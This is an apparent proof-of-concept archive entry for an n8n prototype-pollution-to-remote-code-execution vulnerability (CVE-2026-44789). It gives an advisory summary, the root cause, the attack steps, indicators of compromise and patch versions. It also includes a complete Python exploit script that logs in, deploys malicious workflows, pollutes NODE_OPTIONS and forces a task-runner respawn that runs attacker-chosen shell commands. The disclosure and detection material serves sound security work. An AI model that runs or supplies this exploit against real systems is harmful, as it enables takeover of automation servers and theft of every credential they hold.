PoC Archive PoC Archive
Critical CVE-2026-44789 / GHSA-c8xv-5998-g76h patched

n8n HTTP Request Node Pagination Prototype Pollution → Remote Code Execution (CVE-2026-44789)

by Caio Fabrício (BiiTts) · 2026-07-05

CVSS 9.4/10
Severity
Critical
CVE
CVE-2026-44789 / GHSA-c8xv-5998-g76h
Category
web
Affected product
n8n (workflow automation platform)
Affected versions
< 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherCaio Fabrício (BiiTts)
CVE / AdvisoryCVE-2026-44789 / GHSA-c8xv-5998-g76h
Categoryweb
SeverityCritical
CVSS Score9.4 (CVSS 4.0)
StatusPoC
Tagsn8n, prototype-pollution, rce, node-options, sandbox-escape, task-runner, workflow-automation
RelatedN/A

Affected Target

FieldValue
Software / Systemn8n (workflow automation platform)
Versions Affected< 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1
Language / PlatformNode.js / TypeScript (target), Python 3 (PoC)
Authentication RequiredYes (workflow create/modify permission)
Network Access RequiredYes

Summary

The n8n HTTP Request node’s pagination feature (updateAParameterInEachRequest mode) allows an attacker-controlled parameter.type value of __proto__, causing paginationData.request[parameter.type][parameterName] = parameterValue to write directly onto Object.prototype — a global prototype pollution in the n8n server process. This repository documents and automates a concrete, verified escalation from that pollution primitive to full remote code execution: polluting Object.prototype.NODE_OPTIONS leaks into the environment of the child node process n8n spawns for its task runner (via Node’s for...in-based environment enumeration in normalizeSpawnArguments), letting the attacker --require an arbitrary local JS file at runner startup and escape the Code-node sandbox entirely.


Vulnerability Details

Root Cause

packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts builds paginationData.request as a plain object and indexes it with an attacker-supplied parameter.type string without guarding against prototype-referencing keys (__proto__, constructor, prototype). Separately, packages/cli/src/task-runners/task-runner-process-js.ts spawns the JS task runner with spawn('node', [...], { env: this.getProcessEnvVars(...) }); Node’s internal normalizeSpawnArguments builds the child’s environment using for (const key in env), which enumerates inherited enumerable properties — so a polluted Object.prototype.NODE_OPTIONS is inherited into the spawned runner’s environment even though it was never explicitly set on the env object. The fix builds paginationData.request with Object.create(null), making ["__proto__"] an ordinary null-proto key instead of the prototype.

Attack Vector

  1. Authenticated attacker (with workflow create/modify permission) builds a workflow that writes an attacker-controlled --require payload file (e.g. /tmp/evil.js) to disk via Set → Convert to File → Read/Write Files nodes.
  2. Attacker dispatches a Code node with an infinite loop (while(true){}) to hang the JS task runner, forcing an eventual timeout/OOM kill — this must happen before the pollution, since the runner respawn is what will pick up the change.
  3. Attacker triggers the HTTP Request node pagination logic with parameter.type = "__proto__" and parameterName = "NODE_OPTIONS", polluting Object.prototype.NODE_OPTIONS = "--require=/tmp/evil.js".
  4. When the hung runner times out, n8n’s runner lifecycle (onProcessExit → start()) respawns a new node child process, which inherits the polluted NODE_OPTIONS via for...in environment enumeration and --requires the attacker’s file at startup — executing arbitrary code outside the Code-node sandbox, as the n8n service user.

Impact

Any authenticated user able to create or modify a workflow can achieve OS command execution on the n8n host, fully escaping the Code-node sandbox. This compromises the entire automation server, including every credential and downstream system the n8n instance has access to.


Environment / Lab Setup

Target: n8nio/n8n:1.123.42 (Docker image), via lab/docker-compose.yml
  N8N_RUNNERS_ENABLED=true   (mirrors 2.x default configuration, off by
                              default in the 1.123.x branch used for the lab)
  N8N_RUNNERS_TASK_TIMEOUT lowered only to make the hung-runner respawn
                              fire faster during testing (not required for
                              the underlying bug)
Attacker tooling: Python 3 stdlib only (exploit.py), driving the n8n REST API

Proof of Concept

PoC Script

See exploit.py in this folder, and lab/docker-compose.yml for the target environment.

1
2
3
4
5
docker compose -f lab/docker-compose.yml up -d        # n8nio/n8n:1.123.42

python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"

docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof

Running this drives the full chain end-to-end via the n8n REST API (owner setup/login, workflow deployment, and firing the pollution + hang sequence), culminating in live command execution (id/hostname) inside the n8n container as the node service user — proving genuine RCE rather than input echo.


Detection & Indicators of Compromise

- Workflows containing HTTP Request pagination parameters where `type` is
  `__proto__`, `constructor`, or `prototype`.
- TypeORM/n8n server logs showing "for...in" / entity-property errors
  referencing `NODE_OPTIONS` (a symptom of the pollution breaking workflow
  persistence).
- Task runner process restarts immediately followed by unexpected
  `--require` flags or unfamiliar child-process command lines.

Signs of compromise:

  • Unexpected files (e.g. attacker --require payload scripts) written under /tmp or other writable paths by n8n workflow executions.
  • n8n task runner (node) child processes launched with unexplained NODE_OPTIONS / --require flags.

Remediation

ActionDetail
Primary fixUpgrade to n8n >= 1.123.43 / 2.20.7 / 2.22.1, where the pagination request object is built with Object.create(null), preventing the __proto__ write from reaching Object.prototype.
Interim mitigationRestrict workflow create/modify permissions to trusted users only; note that runner hardening flags (--disable-proto=delete, --disallow-code-generation-from-strings) protect the runner process but do not prevent pollution landing in the main n8n process.

References


Notes

Mirrored from https://github.com/BiiTts/CVE-2026-44789-n8n-PrototypePollution-RCE on 2026-07-05. See ANALYSIS.md in this folder for the full technical writeup of the pollution primitive, Node’s for...in environment-inheritance behavior, the runner lifecycle, and the upstream patch.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python3
"""
CVE-2026-44789 - n8n < 1.123.43 - HTTP Request node pagination Prototype Pollution -> RCE

An authenticated workflow creator pollutes Object.prototype in the n8n *server* process
through the HTTP Request node's pagination settings, then escalates to OS command
execution by abusing how n8n (re)spawns its task runner.

Primitive (packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts):
    paginationData.request[parameter.type]![parameterName] = parameterValue;
With parameter.type = "__proto__", this assigns onto Object.prototype globally.

Gadget (packages/cli/src/task-runners/task-runner-process-js.ts):
    spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node's normalizeSpawnArguments iterates `for (key in env)`, which includes inherited
properties. Polluting Object.prototype.NODE_OPTIONS = "--require=<file>" therefore leaks
into the spawned runner's environment -> the runner `node` process executes <file> at
startup -> RCE, bypassing the Code-node sandbox.

The runner is spawned at startup; the lifecycle re-spawns it on exit, so the attacker
forces a respawn (after polluting) with a Code node that hangs/OOMs the runner.

Chain implemented here (single authenticated session, against a runners-enabled instance):
  1. write the --require payload to disk via the Read/Write Files node;
  2. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node;
  3. crash the task runner via a Code node -> it respawns with the leaked NODE_OPTIONS.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request


class N8n:
    def __init__(self, base):
        self.base = base.rstrip("/")
        self.cookie = ""

    def _req(self, path, data=None, method=None):
        h = {"Content-Type": "application/json"}
        if self.cookie:
            h["Cookie"] = self.cookie
        r = urllib.request.Request(
            self.base + path,
            data=json.dumps(data).encode() if data is not None else None,
            headers=h,
            method=method or ("POST" if data is not None else "GET"),
        )
        try:
            resp = urllib.request.urlopen(r, timeout=60)
            sc = resp.headers.get_all("Set-Cookie") or []
            return resp.status, resp.read().decode(), sc
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode(), []

    def auth(self, email, password):
        # first-run owner setup is a no-op if the instance is already initialised
        for _ in range(8):
            self._req("/rest/owner/setup", {"email": email, "firstName": "a", "lastName": "b", "password": password})
            st, _, sc = self._req("/rest/login", {"emailOrLdapLoginId": email, "password": password})
            if st == 200 and sc:
                self.cookie = "; ".join(c.split(";")[0] for c in sc)
                return self
            time.sleep(2)
        raise SystemExit("[!] login failed - supply valid --user/--password for an initialised instance")

    def deploy(self, name, nodes, connections):
        wf = {"name": name, "active": False, "nodes": nodes, "connections": connections, "settings": {}}
        st, body, _ = self._req("/rest/workflows", wf)
        if st != 200:
            raise SystemExit(f"[!] workflow create failed ({st}): {body[:160]}")
        wid = json.loads(body)["data"]["id"]
        self._req(f"/rest/workflows/{wid}", {"active": True}, "PATCH")
        return wid

    def fire(self, path, timeout=30):
        try:
            urllib.request.urlopen(self.base + "/webhook/" + path, data=b"{}", timeout=timeout)
        except Exception:
            pass


def hook(path, wid):
    return {"parameters": {"path": path, "httpMethod": "POST", "responseMode": "onReceived"},
            "type": "n8n-nodes-base.webhook", "typeVersion": 2, "position": [200, 300],
            "name": "Hook", "webhookId": wid}


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-44789 n8n prototype pollution -> RCE")
    ap.add_argument("target", help="n8n base URL, e.g. http://127.0.0.1:5678")
    ap.add_argument("-u", "--user", default="admin@pp.local")
    ap.add_argument("-p", "--password", default="Sup3rPass1")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the n8n host")
    ap.add_argument("--evil", default="/tmp/evil.js", help="path for the --require payload on the target host")
    args = ap.parse_args()

    safe = args.cmd.replace("\\", "\\\\").replace('"', '\\"')
    evil_js = f'require("fs").writeFileSync("/tmp/n8n_rce_proof","RCE "+require("child_process").execSync("{safe}").toString());'

    n = N8n(args.target).auth(args.user, args.password)
    print(f"[*] authenticated to {args.target}")

    # IMPORTANT: deploy ALL workflows BEFORE polluting. Once Object.prototype.NODE_OPTIONS is set,
    # n8n's TypeORM persistence enumerates the polluted key and workflow CRUD starts failing, so the
    # crash workflow could no longer be created. Webhook *execution* still works after pollution.

    # writer: Set -> Convert to File -> Read/Write Files  (drops the --require payload to disk)
    setn = {"parameters": {"assignments": {"assignments": [
                {"id": "1", "name": "data", "value": evil_js, "type": "string"}]}},
            "type": "n8n-nodes-base.set", "typeVersion": 3.4, "position": [450, 300], "name": "Set"}
    tofile = {"parameters": {"operation": "toText", "sourceProperty": "data", "binaryPropertyName": "f"},
              "type": "n8n-nodes-base.convertToFile", "typeVersion": 1.1, "position": [650, 300], "name": "ToFile"}
    write = {"parameters": {"operation": "write", "fileName": args.evil, "dataPropertyName": "f"},
             "type": "n8n-nodes-base.readWriteFile", "typeVersion": 1, "position": [850, 300], "name": "Write"}
    n.deploy("w", [hook("ppwrite", "ppwrite"), setn, tofile, write],
             {"Hook": {"main": [[{"node": "Set", "type": "main", "index": 0}]]},
              "Set": {"main": [[{"node": "ToFile", "type": "main", "index": 0}]]},
              "ToFile": {"main": [[{"node": "Write", "type": "main", "index": 0}]]}})

    # polluter: HTTP Request node with pagination type "__proto__" -> Object.prototype.NODE_OPTIONS
    http = {"parameters": {"url": args.target.rstrip("/") + "/healthz", "method": "GET",
             "options": {"pagination": {"pagination": {
                "paginationMode": "updateAParameterInEachRequest",
                "parameters": {"parameters": [
                    {"type": "__proto__", "name": "NODE_OPTIONS", "value": f"--require={args.evil}"}]},
                "paginationCompleteWhen": "receiveSpecificStatusCodes",
                "statusCodesWhenComplete": "200", "requestInterval": 0,
                "limitPagesFetched": True, "maxRequests": 1}}}},
            "type": "n8n-nodes-base.httpRequest", "typeVersion": 3, "position": [450, 300],
            "name": "HTTP Request", "onError": "continueRegularOutput"}
    n.deploy("p", [hook("pppoll", "pppoll"), http],
             {"Hook": {"main": [[{"node": "HTTP Request", "type": "main", "index": 0}]]}})

    # crasher: a Code node that hangs the runner -> task timeout kills it -> lifecycle respawns it
    boom = {"parameters": {"jsCode": "while(true){}"},
            "type": "n8n-nodes-base.code", "typeVersion": 2, "position": [450, 300],
            "name": "Boom", "onError": "continueRegularOutput"}
    n.deploy("b", [hook("ppboom", "ppboom"), boom],
             {"Hook": {"main": [[{"node": "Boom", "type": "main", "index": 0}]]}})
    print("[*] deployed writer / polluter / crasher workflows")

    # Ordering matters: the pollution breaks execution persistence, so the runner must already be
    # hung BEFORE we pollute. Then the hung runner times out and the main process respawns it with
    # the (by-then) polluted NODE_OPTIONS in its inherited environment.
    n.fire("ppwrite")
    print(f"[*] step 1: wrote --require payload to {args.evil} (via Read/Write Files node)")
    n.fire("ppboom", timeout=4)   # responseMode onReceived returns immediately; Code node hangs the runner
    print("[*] step 2: dispatched a hanging task -> runner is now busy")
    time.sleep(2)
    n.fire("pppoll")              # HTTP node runs in the MAIN process -> pollutes Object.prototype.NODE_OPTIONS
    print("[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=" + args.evil)
    print("[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...")
    time.sleep(20)
    print(f"[+] done. Check the target: cat /tmp/n8n_rce_proof  (command: {args.cmd!r})")
    print("    If empty, lower N8N_RUNNERS_TASK_TIMEOUT or re-fire /webhook/ppboom to force the respawn.")


if __name__ == "__main__":
    sys.exit(main())